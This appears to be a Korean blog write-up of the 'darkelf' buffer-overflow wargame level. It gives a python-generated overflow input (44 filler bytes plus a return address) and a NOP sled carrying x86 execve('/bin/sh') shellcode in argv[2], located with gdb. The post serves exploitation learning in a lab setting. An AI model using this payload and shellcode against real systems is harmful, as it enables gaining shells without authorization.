darkelf 문제이다 


argv[1]  길이의 값을 48보다 작게 하라는건 


$(python -c 'print "A"*44+"\xea\xfb\xff\xbf"') 

첫번째 argv[1] 의 길이는 buffer 를 채울 44바이트 + eip 주소를 나타낼수있는 4바이트가 최대 설정 범위라는 소리이다

이제 쓸수 있는 주소를 찾아야하는데 argv[2]가 아직 살아있으니 argv[2] 에 쉘코드를 올리고 사용할 수 있다.

$(python -c 'print "\x90"*1000+"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8d\x0c\x24\xcd\x80"')

인자를 3개 이상 줄 경우에는 16바이트씩 교정하는 과정이 힘들기 때문에 nop코드를 많이 넣어서 풀어야한다.

gdb에서 확인하면 


2번째 인자인 0xbffff84a 의 값을 확인하면



nop 사이에 쉘코드가 올라간걸 확인 할 수있다 적당한 주소를 잡아서 eip에 올려주면 값이 출력된다










'WARGAME > BOF' 카테고리의 다른 글

[BOF] orge->troll  (0) 2018.02.20
[BOF] darkelf->orge  (0) 2018.02.19
[BOF] Orc->wolfman  (0) 2018.02.08
[BOF] Goblin-> orc  (0) 2018.02.08
[BOF] cobolt-> Goblin  (0) 2018.02.08

+ Recent posts